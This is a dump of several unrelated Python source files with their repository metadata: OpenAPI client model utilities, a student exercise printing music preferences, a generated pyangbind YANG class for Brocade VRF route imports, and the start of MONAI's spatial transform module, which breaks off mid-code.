empty list return input_value for index, inner_value in enumerate(input_value): inner_path = list(path_to_item) inner_path.append(index) input_value[index] = validate_and_convert_types( inner_value, inner_required_types, inner_path, spec_property_naming, _check_type, configuration=configuration ) elif isinstance(input_value, dict): if input_value == {}: # allow an empty dict return input_value for inner_key, inner_val in input_value.items(): inner_path = list(path_to_item) inner_path.append(inner_key) if get_simple_class(inner_key) != str: raise get_type_error(inner_key, inner_path, valid_classes, key_type=True) input_value[inner_key] = validate_and_convert_types( inner_val, inner_required_types, inner_path, spec_property_naming, _check_type, configuration=configuration ) return input_value def model_to_dict(model_instance, serialize=True): result = {} model_instances = [model_instance] if model_instance._composed_schemas: model_instances.extend(model_instance._composed_instances) for model_instance in model_instances: for attr, value in model_instance._data_store.items(): if serialize: # we use get here because additional property key names do not # exist in attribute_map attr = model_instance.attribute_map.get(attr, attr) if isinstance(value, list): if not value: # empty list or None result[attr] = value else: res = [] for v in value: if isinstance(v, PRIMITIVE_TYPES) or v is None: res.append(v) elif isinstance(v, ModelSimple): res.append(v.value) else: res.append(model_to_dict(v, serialize=serialize)) result[attr] = res elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], model_to_dict(item[1], serialize=serialize)) if hasattr(item[1], '_data_store') else item, value.items() )) elif isinstance(value, ModelSimple): result[attr] = value.value elif hasattr(value, '_data_store'): result[attr] = model_to_dict(value, serialize=serialize) else: result[attr] = value return result def type_error_message(var_value=None, var_name=None, valid_classes=None, key_type=None): key_or_value = 'value' if key_type: key_or_value = 'key' valid_classes_phrase = get_valid_classes_phrase(valid_classes) msg = ( "Invalid type for variable '{0}'. Required {1} type {2} and " "passed type was {3}".format( var_name, key_or_value, valid_classes_phrase, type(var_value).__name__, ) ) return msg def get_valid_classes_phrase(input_classes): all_classes = list(input_classes) all_classes = sorted(all_classes, key=lambda cls: cls.__name__) all_class_names = [cls.__name__ for cls in all_classes] if len(all_class_names) == 1: return 'is {0}'.format(all_class_names[0]) return "is one of [{0}]".format(", ".join(all_class_names)) def convert_js_args_to_python_args(fn): from functools import wraps @wraps(fn) def wrapped_init(_self, *args, **kwargs): spec_property_naming = kwargs.get('_spec_property_naming', False) if spec_property_naming: kwargs = change_keys_js_to_python(kwargs, _self.__class__) return fn(_self, *args, **kwargs) return wrapped_init def get_allof_instances(self, model_args, constant_args): composed_instances = [] for allof_class in self._composed_schemas['allOf']: # no need to handle changing js keys to python because # for composed schemas, allof parameters are included in the # composed schema and were changed to python keys in __new__ # extract a dict of only required keys from fixed_model_args kwargs = {} var_names = set(allof_class.openapi_types.keys()) for var_name in var_names: if var_name in model_args: kwargs[var_name] = model_args[var_name] # and use it to make the instance kwargs.update(constant_args) try: allof_instance = allof_class(**kwargs) composed_instances.append(allof_instance) except Exception as ex: raise ApiValueError( "Invalid inputs given to generate an instance of '%s'. The " "input data was invalid for the allOf schema '%s' in the composed " "schema '%s'. Error=%s" % ( allof_class.__name__, allof_class.__name__, self.__class__.__name__, str(ex) ) ) from ex return composed_instances def get_oneof_instance(cls, model_kwargs, constant_kwargs, model_arg=None): if len(cls._composed_schemas['oneOf']) == 0: return None oneof_instances = [] # Iterate over each oneOf schema and determine if the input data # matches the oneOf schemas. for oneof_class in cls._composed_schemas['oneOf']: # The composed oneOf schema allows the 'null' type and the input data # is the null value. This is a OAS >= 3.1 feature. if oneof_class is none_type: # skip none_types because we are deserializing dict data. # none_type deserialization is handled in the __new__ method continue single_value_input = allows_single_value_input(oneof_class) if not single_value_input: # transform js keys from input data to python keys in fixed_model_args fixed_model_args = change_keys_js_to_python( model_kwargs, oneof_class) # Extract a dict with the properties that are declared in the oneOf schema. # Undeclared properties (e.g. properties that are allowed because of the # additionalProperties attribute in the OAS document) are not added to # the dict. kwargs = {} var_names = set(oneof_class.openapi_types.keys()) for var_name in var_names: if var_name in fixed_model_args: kwargs[var_name] = fixed_model_args[var_name] # do not try to make a model with no input args if len(kwargs) == 0: continue # and use it to make the instance kwargs.update(constant_kwargs) try: if not single_value_input: oneof_instance = oneof_class(**kwargs) else: if issubclass(oneof_class, ModelSimple): oneof_instance = oneof_class(model_arg, **constant_kwargs) elif oneof_class in PRIMITIVE_TYPES: oneof_instance = validate_and_convert_types( model_arg, (oneof_class,), constant_kwargs['_path_to_item'], constant_kwargs['_spec_property_naming'], constant_kwargs['_check_type'], configuration=constant_kwargs['_configuration'] ) oneof_instances.append(oneof_instance) except Exception: pass if len(oneof_instances) == 0: raise ApiValueError( "Invalid inputs given to generate an instance of %s. None " "of the oneOf schemas matched the input data." % cls.__name__ ) elif len(oneof_instances) > 1: raise ApiValueError( "Invalid inputs given to generate an instance of %s. Multiple " "oneOf schemas matched the inputs, but a max of one is allowed." % cls.__name__ ) return oneof_instances[0] def get_anyof_instances(self, model_args, constant_args): anyof_instances = [] if len(self._composed_schemas['anyOf']) == 0: return anyof_instances for anyof_class in self._composed_schemas['anyOf']: # The composed oneOf schema allows the 'null' type and the input data # is the null value. This is a OAS >= 3.1 feature. if anyof_class is none_type: # skip none_types because we are deserializing dict data. # none_type deserialization is handled in the __new__ method continue # transform js keys to python keys in fixed_model_args fixed_model_args = change_keys_js_to_python(model_args, anyof_class) # extract a dict of only required keys from these_model_vars kwargs = {} var_names = set(anyof_class.openapi_types.keys()) for var_name in var_names: if var_name in fixed_model_args: kwargs[var_name] = fixed_model_args[var_name] # do not try to make a model with no input args if len(kwargs) == 0: continue # and use it to make the instance kwargs.update(constant_args) try: anyof_instance = anyof_class(**kwargs) anyof_instances.append(anyof_instance) except Exception: pass if len(anyof_instances) == 0: raise ApiValueError( "Invalid inputs given to generate an instance of %s. None of the " "anyOf schemas matched the inputs." % self.__class__.__name__ ) return anyof_instances def get_additional_properties_model_instances( composed_instances, self): additional_properties_model_instances = [] all_instances = [self] all_instances.extend(composed_instances) for instance in all_instances: if instance.additional_properties_type is not None: additional_properties_model_instances.append(instance) return additional_properties_model_instances def get_var_name_to_model_instances(self, composed_instances): var_name_to_model_instances = {} all_instances = [self] all_instances.extend(composed_instances) for instance in all_instances: for var_name in instance.openapi_types: if var_name not in var_name_to_model_instances: var_name_to_model_instances[var_name] = [instance] else: var_name_to_model_instances[var_name].append(instance) return var_name_to_model_instances def get_unused_args(self, composed_instances, model_args): unused_args = dict(model_args) # arguments apssed to self were already converted to python names # before __init__ was called for var_name_py in self.attribute_map: if var_name_py in unused_args: del unused_args[var_name_py] for instance in composed_instances: if instance.__class__ in self._composed_schemas['allOf']: for var_name_py in instance.attribute_map: if var_name_py in unused_args: del unused_args[var_name_py] else: for var_name_js in instance.attribute_map.values(): if var_name_js in unused_args: del unused_args[var_name_js] return unused_args def validate_get_composed_info(constant_args, model_args, self): # create composed_instances composed_instances = [] allof_instances = get_allof_instances(self, model_args, constant_args) composed_instances.extend(allof_instances) oneof_instance = get_oneof_instance(self.__class__, model_args, constant_args) if oneof_instance is not None: composed_instances.append(oneof_instance) anyof_instances = get_anyof_instances(self, model_args, constant_args) composed_instances.extend(anyof_instances) # map variable names to composed_instances var_name_to_model_instances = get_var_name_to_model_instances( self, composed_instances) # set additional_properties_model_instances additional_properties_model_instances = ( get_additional_properties_model_instances(composed_instances, self) ) # set any remaining values unused_args = get_unused_args(self, composed_instances, model_args) if len(unused_args) > 0 and \ len(additional_properties_model_instances) == 0 and \ (self._configuration is None or not self._configuration.discard_unknown_keys): raise ApiValueError( "Invalid input arguments input when making an instance of " "class %s. Not all inputs were used. The unused input data " "is %s" % (self.__class__.__name__, unused_args) ) # no need to add additional_properties to var_name_to_model_instances here # because additional_properties_model_instances will direct us to that # instance when we use getattr or setattr # and we update var_name_to_model_instances in setattr return [ composed_instances, var_name_to_model_instances, additional_properties_model_instances, unused_args ]

true

f73279dc5fe54fd731c68c1129c641f01a89beae

596

py

Python

Exercises/Exercises Chapter 08/8.1.py

tonysulfaro/CSE-231

0e3ff5422fe42624a90a17d7f33174346662a6fc

[ "MIT" ]

2

2021-09-23T19:17:24.000Z

2021-11-29T09:03:56.000Z

Exercises/Exercises Chapter 08/8.1.py

tonysulfaro/CSE-231

0e3ff5422fe42624a90a17d7f33174346662a6fc

[ "MIT" ]

null

Exercises/Exercises Chapter 08/8.1.py

tonysulfaro/CSE-231

0e3ff5422fe42624a90a17d7f33174346662a6fc

[ "MIT" ]

1

2020-10-25T13:03:18.000Z

#definition for music_func goes here def music_func(music, group, singer): print("The best kind of music is", music) print("The best music group is", group) print("The best lead vocalist is", singer) def main(): music, group, singer = '', '', '' while music != 'quit': try: music, group, singer = input().split(',') music_func(music, group, singer) except (EOFError, ValueError): music, group, singer = 'Classic Rock', 'The Beatles', 'Freddie Mercury' music_func(music, group, singer) quit() main()

33.111111

83

0.590604

def music_func(music, group, singer): print("The best kind of music is", music) print("The best music group is", group) print("The best lead vocalist is", singer) def main(): music, group, singer = '', '', '' while music != 'quit': try: music, group, singer = input().split(',') music_func(music, group, singer) except (EOFError, ValueError): music, group, singer = 'Classic Rock', 'The Beatles', 'Freddie Mercury' music_func(music, group, singer) quit() main()

true

f7327a79deea631d212afcb19ff20ebec7be7258

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py

Python

pybind/slxos/v16r_1_00b/vrf/address_family/ip/unicast/ip/import_/__init__.py

shivharis/pybind

4e1c6d54b9fd722ccec25546ba2413d79ce337e6

[ "Apache-2.0" ]

null

pybind/slxos/v16r_1_00b/vrf/address_family/ip/unicast/ip/import_/__init__.py

shivharis/pybind

4e1c6d54b9fd722ccec25546ba2413d79ce337e6

[ "Apache-2.0" ]

null

pybind/slxos/v16r_1_00b/vrf/address_family/ip/unicast/ip/import_/__init__.py

shivharis/pybind

4e1c6d54b9fd722ccec25546ba2413d79ce337e6

[ "Apache-2.0" ]

1

2021-11-05T22:15:42.000Z

from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType from pyangbind.lib.base import PybindBase from decimal import Decimal from bitarray import bitarray import __builtin__ import routes class import_(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module brocade-vrf - based on the path /vrf/address-family/ip/unicast/ip/import. Each member element of the container is represented as a class variable - with a specific YANG type. """ __slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__routes',) _yang_name = 'import' _rest_name = 'import' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): path_helper_ = kwargs.pop("path_helper", None) if path_helper_ is False: self._path_helper = False elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper): self._path_helper = path_helper_ elif hasattr(self, "_parent"): path_helper_ = getattr(self._parent, "_path_helper", False) self._path_helper = path_helper_ else: self._path_helper = False extmethods = kwargs.pop("extmethods", None) if extmethods is False: self._extmethods = False elif extmethods is not None and isinstance(extmethods, dict): self._extmethods = extmethods elif hasattr(self, "_parent"): extmethods = getattr(self._parent, "_extmethods", None) self._extmethods = extmethods else: self._extmethods = False self.__routes = YANGDynClass(base=YANGListType("src_vrf route_map",routes.routes, yang_name="routes", rest_name="routes", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='src-vrf route-map', extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}), is_container='list', yang_name="routes", rest_name="routes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}, namespace='urn:brocade.com:mgmt:brocade-rtm', defining_module='brocade-rtm', yang_type='list', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [u'vrf', u'address-family', u'ip', u'unicast', u'ip', u'import'] def _rest_path(self): if hasattr(self, "_parent"): if self._rest_name: return self._parent._rest_path()+[self._rest_name] else: return self._parent._rest_path() else: return [u'vrf', u'address-family', u'ipv4', u'unicast', u'ip', u'import'] def _get_routes(self): """ Getter method for routes, mapped from YANG variable /vrf/address_family/ip/unicast/ip/import/routes (list) YANG Description: import IPV4 routes """ return self.__routes def _set_routes(self, v, load=False): """ Setter method for routes, mapped from YANG variable /vrf/address_family/ip/unicast/ip/import/routes (list) If this variable is read-only (config: false) in the source YANG file, then _set_routes is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_routes() directly. YANG Description: import IPV4 routes """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("src_vrf route_map",routes.routes, yang_name="routes", rest_name="routes", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='src-vrf route-map', extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}), is_container='list', yang_name="routes", rest_name="routes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}, namespace='urn:brocade.com:mgmt:brocade-rtm', defining_module='brocade-rtm', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """routes must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("src_vrf route_map",routes.routes, yang_name="routes", rest_name="routes", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='src-vrf route-map', extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}), is_container='list', yang_name="routes", rest_name="routes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}, namespace='urn:brocade.com:mgmt:brocade-rtm', defining_module='brocade-rtm', yang_type='list', is_config=True)""", }) self.__routes = t if hasattr(self, '_set'): self._set() def _unset_routes(self): self.__routes = YANGDynClass(base=YANGListType("src_vrf route_map",routes.routes, yang_name="routes", rest_name="routes", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='src-vrf route-map', extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}), is_container='list', yang_name="routes", rest_name="routes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}, namespace='urn:brocade.com:mgmt:brocade-rtm', defining_module='brocade-rtm', yang_type='list', is_config=True) routes = __builtin__.property(_get_routes, _set_routes) _pyangbind_elements = {'routes': routes, }

55.773438

779

0.713966

from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType from pyangbind.lib.base import PybindBase from decimal import Decimal from bitarray import bitarray import __builtin__ import routes class import_(PybindBase): __slots__ = ('_pybind_generated_by', '_path_helper', '_yang_name', '_rest_name', '_extmethods', '__routes',) _yang_name = 'import' _rest_name = 'import' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): path_helper_ = kwargs.pop("path_helper", None) if path_helper_ is False: self._path_helper = False elif path_helper_ is not None and isinstance(path_helper_, xpathhelper.YANGPathHelper): self._path_helper = path_helper_ elif hasattr(self, "_parent"): path_helper_ = getattr(self._parent, "_path_helper", False) self._path_helper = path_helper_ else: self._path_helper = False extmethods = kwargs.pop("extmethods", None) if extmethods is False: self._extmethods = False elif extmethods is not None and isinstance(extmethods, dict): self._extmethods = extmethods elif hasattr(self, "_parent"): extmethods = getattr(self._parent, "_extmethods", None) self._extmethods = extmethods else: self._extmethods = False self.__routes = YANGDynClass(base=YANGListType("src_vrf route_map",routes.routes, yang_name="routes", rest_name="routes", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='src-vrf route-map', extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}), is_container='list', yang_name="routes", rest_name="routes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}, namespace='urn:brocade.com:mgmt:brocade-rtm', defining_module='brocade-rtm', yang_type='list', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [u'vrf', u'address-family', u'ip', u'unicast', u'ip', u'import'] def _rest_path(self): if hasattr(self, "_parent"): if self._rest_name: return self._parent._rest_path()+[self._rest_name] else: return self._parent._rest_path() else: return [u'vrf', u'address-family', u'ipv4', u'unicast', u'ip', u'import'] def _get_routes(self): return self.__routes def _set_routes(self, v, load=False): if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=YANGListType("src_vrf route_map",routes.routes, yang_name="routes", rest_name="routes", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='src-vrf route-map', extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}), is_container='list', yang_name="routes", rest_name="routes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}, namespace='urn:brocade.com:mgmt:brocade-rtm', defining_module='brocade-rtm', yang_type='list', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """routes must be of a type compatible with list""", 'defined-type': "list", 'generated-type': """YANGDynClass(base=YANGListType("src_vrf route_map",routes.routes, yang_name="routes", rest_name="routes", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='src-vrf route-map', extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}), is_container='list', yang_name="routes", rest_name="routes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}, namespace='urn:brocade.com:mgmt:brocade-rtm', defining_module='brocade-rtm', yang_type='list', is_config=True)""", }) self.__routes = t if hasattr(self, '_set'): self._set() def _unset_routes(self): self.__routes = YANGDynClass(base=YANGListType("src_vrf route_map",routes.routes, yang_name="routes", rest_name="routes", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='src-vrf route-map', extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}), is_container='list', yang_name="routes", rest_name="routes", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions={u'tailf-common': {u'info': u'import IPV4 routes ', u'cli-suppress-mode': None, u'callpoint': u'Ipv4ImportRoutes'}}, namespace='urn:brocade.com:mgmt:brocade-rtm', defining_module='brocade-rtm', yang_type='list', is_config=True) routes = __builtin__.property(_get_routes, _set_routes) _pyangbind_elements = {'routes': routes, }

true

f7327aa07b2ff6ab2654821bbe8ee0851143350f

121,870

py

Python

monai/transforms/spatial/array.py

Jianrong-Lu/MONAI

c319ca8ff31aa980a045f1b913fb2eb22aadb080

[ "Apache-2.0" ]

1

2022-03-16T01:18:43.000Z

monai/transforms/spatial/array.py

Jianrong-Lu/MONAI

c319ca8ff31aa980a045f1b913fb2eb22aadb080

[ "Apache-2.0" ]

null

monai/transforms/spatial/array.py

Jianrong-Lu/MONAI

c319ca8ff31aa980a045f1b913fb2eb22aadb080

[ "Apache-2.0" ]

null

# Copyright (c) MONAI Consortium # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ A collection of "vanilla" transforms for spatial operations https://github.com/Project-MONAI/MONAI/wiki/MONAI_Design """ import warnings from copy import deepcopy from typing import Any, Callable, Dict, List, Optional, Sequence, Tuple, Union import numpy as np import torch from monai.config import USE_COMPILED, DtypeLike from monai.config.type_definitions import NdarrayOrTensor from monai.data.utils import AFFINE_TOL, compute_shape_offset, reorient_spatial_axes, to_affine_nd, zoom_affine from monai.networks.layers import AffineTransform, GaussianFilter, grid_pull from monai.networks.utils import meshgrid_ij, normalize_transform from monai.transforms.croppad.array import CenterSpatialCrop, Pad from monai.transforms.transform import Randomizable, RandomizableTransform, ThreadUnsafe, Transform from monai.transforms.utils import ( create_control_grid, create_grid, create_rotate, create_scale, create_shear, create_translate, map_spatial_axes, ) from monai.transforms.utils_pytorch_numpy_unification import allclose, moveaxis from monai.utils import ( GridSampleMode, GridSamplePadMode, InterpolateMode, NumpyPadMode, PytorchPadMode, ensure_tuple, ensure_tuple_rep, ensure_tuple_size, fall_back_tuple, issequenceiterable, optional_import, pytorch_after, ) from monai.utils.deprecate_utils import deprecated_arg from monai.utils.enums import TransformBackends from monai.utils.module import look_up_option from monai.utils.type_conversion import convert_data_type, convert_to_dst_type nib, has_nib = optional_import("nibabel") __all__ = [ "SpatialResample", "ResampleToMatch", "Spacing", "Orientation", "Flip", "GridDistortion", "Resize", "Rotate", "Zoom", "Rotate90", "RandRotate90", "RandRotate", "RandFlip", "RandGridDistortion", "RandAxisFlip", "RandZoom", "AffineGrid", "RandAffineGrid", "RandDeformGrid", "Resample", "Affine", "RandAffine", "Rand2DElastic", "Rand3DElastic", ] RandRange = Optional[Union[Sequence[Union[Tuple[float, float], float]], float]] class SpatialResample(Transform): """ Resample input image from the orientation/spacing defined by ``src_affine`` affine matrix into the ones specified by ``dst_affine`` affine matrix. Internally this transform computes the affine transform matrix from ``src_affine`` to ``dst_affine``, by ``xform = linalg.solve(src_affine, dst_affine)``, and call ``monai.transforms.Affine`` with ``xform``. """ backend = [TransformBackends.TORCH] def __init__( self, mode: Union[GridSampleMode, str] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str] = GridSamplePadMode.BORDER, align_corners: bool = False, dtype: DtypeLike = np.float64, ): """ Args: mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html When `USE_COMPILED` is `True`, this argument uses ``"nearest"``, ``"bilinear"``, ``"bicubic"`` to indicate 0, 1, 3 order interpolations. See also: https://docs.monai.io/en/stable/networks.html#grid-pull padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"border"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html align_corners: Geometrically, we consider the pixels of the input as squares rather than points. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html dtype: data type for resampling computation. Defaults to ``np.float64`` for best precision. If ``None``, use the data type of input data. To be compatible with other modules, the output data type is always ``np.float32``. """ self.mode = mode self.padding_mode = padding_mode self.align_corners = align_corners self.dtype = dtype def __call__( self, img: NdarrayOrTensor, src_affine: Optional[NdarrayOrTensor] = None, dst_affine: Optional[NdarrayOrTensor] = None, spatial_size: Optional[Union[Sequence[int], np.ndarray, int]] = None, mode: Union[GridSampleMode, str, None] = GridSampleMode.BILINEAR, padding_mode: Union[GridSamplePadMode, str, None] = GridSamplePadMode.BORDER, align_corners: Optional[bool] = False, dtype: DtypeLike = None, ) -> Tuple[NdarrayOrTensor, NdarrayOrTensor]: """ Args: img: input image to be resampled. It currently supports channel-first arrays with at most three spatial dimensions. src_affine: source affine matrix. Defaults to ``None``, which means the identity matrix. the shape should be `(r+1, r+1)` where `r` is the spatial rank of ``img``. dst_affine: destination affine matrix. Defaults to ``None``, which means the same as `src_affine`. the shape should be `(r+1, r+1)` where `r` is the spatial rank of ``img``. when `dst_affine` and `spatial_size` are None, the input will be returned without resampling, but the data type will be `float32`. spatial_size: output image spatial size. if `spatial_size` and `self.spatial_size` are not defined, the transform will compute a spatial size automatically containing the previous field of view. if `spatial_size` is ``-1`` are the transform will use the corresponding input img size. mode: {``"bilinear"``, ``"nearest"``} Interpolation mode to calculate output values. Defaults to ``"bilinear"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html When `USE_COMPILED` is `True`, this argument uses ``"nearest"``, ``"bilinear"``, ``"bicubic"`` to indicate 0, 1, 3 order interpolations. See also: https://docs.monai.io/en/stable/networks.html#grid-pull padding_mode: {``"zeros"``, ``"border"``, ``"reflection"``} Padding mode for outside grid values. Defaults to ``"border"``. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html align_corners: Geometrically, we consider the pixels of the input as squares rather than points. See also: https://pytorch.org/docs/stable/generated/torch.nn.functional.grid_sample.html dtype: data type for resampling computation. Defaults to ``self.dtype`` or ``np.float64`` (for best precision). If ``None``, use the data type of input data. To be compatible with other modules, the output data type is always `float32`. The spatial rank is determined by the smallest among ``img.ndim -1``, ``len(src_affine) - 1``, and ``3``. When both ``monai.config.USE_COMPILED`` and ``align_corners`` are set to ``True``, MONAI's resampling implementation will be used. Set `dst_affine` and `spatial_size` to `None` to turn off the resampling step. """ if src_affine is None: src_affine = np.eye(4, dtype=np.float64) spatial_rank = min(len(img.shape) - 1, src_affine.shape[0] - 1, 3) if (not isinstance(spatial_size, int) or spatial_size != -1) and spatial_size is not None: spatial_rank = min(len(ensure_tuple(spatial_size)), 3) # infer spatial rank based on spatial_size src_affine = to_affine_nd(spatial_rank, src_affine) dst_affine = to_affine_nd(spatial_rank, dst_affine) if dst_affine is not None else src_affine dst_affine, *_ = convert_to_dst_type(dst_affine, dst_affine, dtype=torch.float32) in_spatial_size = np.asarray(img.shape[1 : spatial_rank + 1]) if isinstance(spatial_size, int) and (spatial_size == -1): # using the input spatial size spatial_size = in_spatial_size elif spatial_size is None and spatial_rank > 1: # auto spatial size spatial_size, _ = compute_shape_offset(in_spatial_size, src_affine, dst_affine) # type: ignore spatial_size = np.asarray(fall_back_tuple(ensure_tuple(spatial_size)[:spatial_rank], in_spatial_size)) if ( allclose(src_affine, dst_affine, atol=AFFINE_TOL) and allclose(spatial_size, in_spatial_size) or spatial_rank == 1 ): # no significant change, return original image output_data, *_ = convert_to_dst_type(img, img, dtype=torch.float32) return output_data, dst_affine if has_nib and isinstance(img, np.ndarray): spatial_ornt, dst_r = reorient_spatial_axes(img.shape[1 : spatial_rank + 1], src_affine, dst_affine) if allclose(dst_r, dst_affine, atol=AFFINE_TOL) and allclose(spatial_size, in_spatial_size): # simple reorientation achieves the desired affine spatial_ornt[:, 0] += 1 spatial_ornt = np.concatenate([np.array([[0, 1]]), spatial_ornt]) img_ = nib.orientations.apply_orientation(img, spatial_ornt) output_data, *_ = convert_to_dst_type(img_, img, dtype=torch.float32) return output_data, dst_affine try: src_affine, *_ = convert_to_dst_type(src_affine, dst_affine) if isinstance(src_affine, np.ndarray): xform = np.linalg.solve(src_affine, dst_affine) else: xform = ( torch.linalg.solve(src_affine, dst_affine) if pytorch_after(1, 8, 0) else torch.solve(dst_affine, src_affine).solution # type: ignore ) except (np.linalg.LinAlgError, RuntimeError) as e: raise ValueError(f"src affine is not invertible: {src_affine}") from e xform = to_affine_nd(spatial_rank, xform) # no resampling if it's identity transform if allclose(xform, np.diag(np.ones(len(xform))), atol=AFFINE_TOL) and allclose(spatial_size, in_spatial_size): output_data, *_ = convert_to_dst_type(img, img, dtype=torch.float32) return output_data, dst_affine _dtype = dtype or self.dtype or img.dtype in_spatial_size = in_spatial_size.tolist() chns, additional_dims = img.shape[0], img.shape[spatial_rank + 1 :] # beyond three spatial dims # resample img_ = convert_data_type(img, torch.Tensor, dtype=_dtype)[0] xform = convert_to_dst_type(xform, img_)[0] align_corners = self.align_corners if align_corners is None else align_corners mode = mode or self.mode padding_mode = padding_mode or self.padding_mode if additional_dims: xform_shape = [-1] + in_spatial_size img_ = img_.reshape(xform_shape) if align_corners: _t_r = torch.diag(torch.ones(len(xform), dtype=xform.dtype, device=xform.device)) # type: ignore for idx, d_dst in enumerate(spatial_size[:spatial_rank]): _t_r[idx, -1] = (max(d_dst, 2) - 1.0) / 2.0 xform = xform @ _t_r if not USE_COMPILED: _t_l = normalize_transform( in_spatial_size, xform.device, xform.dtype, align_corners=True # type: ignore ) xform = _t_l @ xform # type: ignore affine_xform = Affine( affine=xform, 